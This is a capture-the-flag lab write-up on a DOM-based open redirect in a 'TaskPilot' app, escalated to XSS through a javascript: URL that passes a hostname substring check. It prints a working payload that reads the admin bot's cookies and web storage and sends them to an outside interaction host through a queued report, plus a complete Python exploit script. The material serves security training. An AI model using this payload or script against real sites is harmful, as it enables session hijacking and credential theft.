Lab 176 — TaskPilot — DOM-Based Open Redirect to XSS via javascript: Protocol
Lab 176 — TaskPilot — DOM-Based Open Redirect to XSS via javascript: Protocol
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: source_to_sink_analysis, hostname_substring_bypass, javascript_protocol_xss, same_origin_report_exfiltration
Summary
Walkthrough of the CUSTOM Web Lab 176 — TaskPilot — DOM-Based Open Redirect to XSS via javascript: Protocol. Task: TaskPilot exposes a post-login DOM redirect and an authenticated administrator link-report bot. Solution: a javascript: URL bypassed substring host validation, then synchronously queued a same-o
Description
TaskPilot project management platform has authentication with post-login redirect, boards/tasks/settings/activity feed, and an authenticated link-report feature whose admin bot reviews URLs. Goal was to exploit client-side redirect and capture admin session information. Credentials user@test.com / password123.
TaskPilot supplied a normal user account and an authenticated /report feature. The objective was to make the administrator bot traverse the vulnerable post-login redirect, execute JavaScript in its authenticated application origin, and recover sensitive session information.
The final lab instance was:
text read-only • copy allowedhttps://d847a2cf-6852-4839-bb75-3c4bfaa1c445.labs.hackadvisor.io/
Its Interaction Server namespace was:
text read-only • copy allowedhttp://interact/d847a2cf-6852-4839-bb75-3c4bfaa1c445/
Analysis
Source-to-sink trace
The vulnerable client-side code in /js/redirect.js was:
javascript read-only • copy allowedvar targetUrl = new URLSearchParams(window.location.search).get('next'); var appHost = window.location.hostname; if (targetUrl.indexOf(appHost) !== -1) window.location.href = targetUrl;
The complete data flow was:
- The attacker controls the
nextquery parameter. URLSearchParams(window.location.search).get('next')reads it intotargetUrl.- The application derives
appHostfromwindow.location.hostname. - Validation merely checks whether the hostname occurs anywhere in the supplied string.
- The unchecked URL is assigned to
window.location.href, an executable navigation sink.
This is not an origin comparison. A javascript: URL can contain the required hostname in inert code, such as void('localhost'), and therefore pass the substring check while retaining the javascript: scheme.
The login endpoint also preserved next through authentication. A normal login with next=/projects redirected to /auth/callback?next=%2Fprojects, while next=javascript:alert(1) survived as /auth/callback?next=javascript%3Aalert(1). Consequently, the exploit needed to enter through the complete login flow rather than reporting /auth/callback directly.
Bot origin and delivery path
The report form accepted HTTP or HTTPS links but rejected a raw javascript: report. The administrator bot accessed TaskPilot internally at localhost:8080, so the working reported URL had this form:
text read-only • copy allowedhttp://localhost:8080/login?next=<URL-encoded javascript payload>
The bot authenticated at that URL. TaskPilot then carried next into /auth/callback; at that point the page hostname was localhost, the inert void('localhost') expression satisfied the flawed check, and assigning the value to window.location.href executed the payload in the authenticated TaskPilot origin.
Exfiltration pivot
The first payloads navigated directly to an Interaction Server URL or attempted equivalent cross-origin callbacks. Although baseline reports proved that HeadlessChrome could reach the Interaction Server, no cookie leak arrived. There were two practical problems:
- The application context was HTTPS in some tested paths, making a direct HTTP collector request vulnerable to mixed-content blocking.
- The review bot could close or tear down the page before a second navigation completed.
The successful pivot avoided direct cross-origin exfiltration. The XSS made a synchronous, same-origin POST /report request. Its form field contained an Interaction Server URL whose path encoded the cookie and both Web Storage objects. TaskPilot queued this as a second report, and the administrator bot later visited that queued URL itself.
The exact JavaScript logic was:
javascript read-only • copy allowedjavascript:d='C:'+document.cookie+'|L:'+JSON.stringify(localStorage)+'|S:'+JSON.stringify(sessionStorage); x=new XMLHttpRequest(); x.open('POST','/report',false); x.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); x.send('url='+encodeURIComponent('http://interact/d847a2cf-6852-4839-bb75-3c4bfaa1c445/taskpilot-leak/'+encodeURIComponent(d))); void('localhost')
The synchronous XHR ensured that the new report was created before the vulnerable page could be torn down. The final expression was harmless at execution time but inserted the required localhost substring into the javascript: URL.
Decoy flag
Reconnaissance found this value embedded in ordinary HTML responses:
text read-only • copy allowedFLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
It was ignored because it was a static, repeatedly exposed value that explicitly identified itself as a bot trap. It did not result from privileged browser execution or admin-session disclosure. By contrast, the real flag arrived in the administrator bot's readable flag cookie through the proven XSS and exfiltration chain.
Solution
- Log in to the public instance as
user@test.comwithpassword123to obtain access to/report. - Build a
javascript:payload that serializesdocument.cookie,localStorage, andsessionStorage. - Have the payload synchronously submit a second same-origin
/report, placing the encoded data in an Interaction Server URL. - Append
void('localhost')so the payload passes the hostname substring check on the internal origin. - URL-encode the entire JavaScript URL as the
nextvalue ofhttp://localhost:8080/login. - Submit that complete internal login URL through the authenticated report form.
- Wait for the bot to process both reports, then decode the
/taskpilot-leak/callback path.
Reproducible exploit
python read-only • copy allowed#!/usr/bin/env python3 """Exploit TaskPilot's post-login DOM redirect and queue the admin leak.""" import argparse import urllib.parse import requests def main() -> None: parser = argparse.ArgumentParser() parser.add_argument( "base_url", help="public lab URL, for example https://UUID.labs.hackadvisor.io/", ) args = parser.parse_args() base = args.base_url.rstrip("/") host = urllib.parse.urlsplit(base).hostname if not host or not host.endswith(".labs.hackadvisor.io"): raise SystemExit("expected a HackAdvisor lab URL") instance_id = host.split(".", 1)[0] collector = f"http://interact/{instance_id}/taskpilot-leak/" session = requests.Session() response = session.post( base + "/login", data={ "email": "user@test.com", "password": "password123", "next": "", }, allow_redirects=False, timeout=15, ) if response.status_code != 302: raise SystemExit( f"login failed or lab unavailable: HTTP {response.status_code}" ) javascript_url = ( "javascript:" "d='C:'+document.cookie+'|L:'+JSON.stringify(localStorage)" "+'|S:'+JSON.stringify(sessionStorage);" "x=new XMLHttpRequest();" "x.open('POST','/report',false);" "x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');" f"x.send('url='+encodeURIComponent('{collector}'+encodeURIComponent(d)));" "void('localhost')" ) reported_url = ( "http://localhost:8080/login?next=" + urllib.parse.quote(javascript_url, safe="") ) response = session.post( base + "/report", data={"url": reported_url}, timeout=15, ) response.raise_for_status() if "administrator will review this link shortly" not in response.text: raise SystemExit("report was not accepted") print(f"Reported: {reported_url}") print(f"Watch Interaction path: /taskpilot-leak/ (instance {instance_id})") if __name__ == "__main__": main()
Run it with:
bash read-only • copy allowedpython3 exploit.py \ https://d847a2cf-6852-4839-bb75-3c4bfaa1c445.labs.hackadvisor.io/
The resulting callback path was:
text read-only • copy allowed/taskpilot-leak/C%3Aflag%3DFLAG%7BREDACTED%7D%7CL%3A%7B%7D%7CS%3A%7B%7D
URL-decoding the final path component produced:
text read-only • copy allowedC:flag=FLAG{REDACTED}|L:{}|S:{}
Thus the administrator's JavaScript-readable cookie held the real flag, while neither local storage nor session storage contained additional values.
Failed Approaches
- Raw
javascript:report: rejected because/reportaccepted only HTTP or HTTPS URLs. - Direct
/auth/callbackdelivery: did not reproduce the required authenticated internal flow reliably; the successful route began at/loginso the bot authenticated and the server preservednextinto the callback. - Direct Interaction Server navigation or image-style exfiltration: baseline bot callbacks worked, but sensitive callbacks did not arrive, consistent with HTTP mixed-content restrictions and rapid bot teardown.
- Interaction-hosted redirect page: the bot fetched the hosted page, but the subsequent navigation did not complete before its lifecycle ended.
- Guessed internal ports and public-origin callback variants: ports
3000,3001, and80, plus public and127.0.0.1routes, did not yield a leak. The verified internal application route waslocalhost:8080/login.
The decisive phase pivot was to stop requiring the vulnerable page to finish a cross-origin request. A synchronous same-origin XHR reliably inserted a second job into the application's report queue, delegating the final Interaction Server request to the bot.
Key Takeaways / Lessons
- Mastering source_to_sink_analysis, hostname_substring_bypass, javascript_protocol_xss, same_origin_report_exfiltration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-20 • CUSTOM • Lab 176 — TaskPilot — DOM-Based Open Redirect to XSS via javascript: Protocol • Difficulty: Medium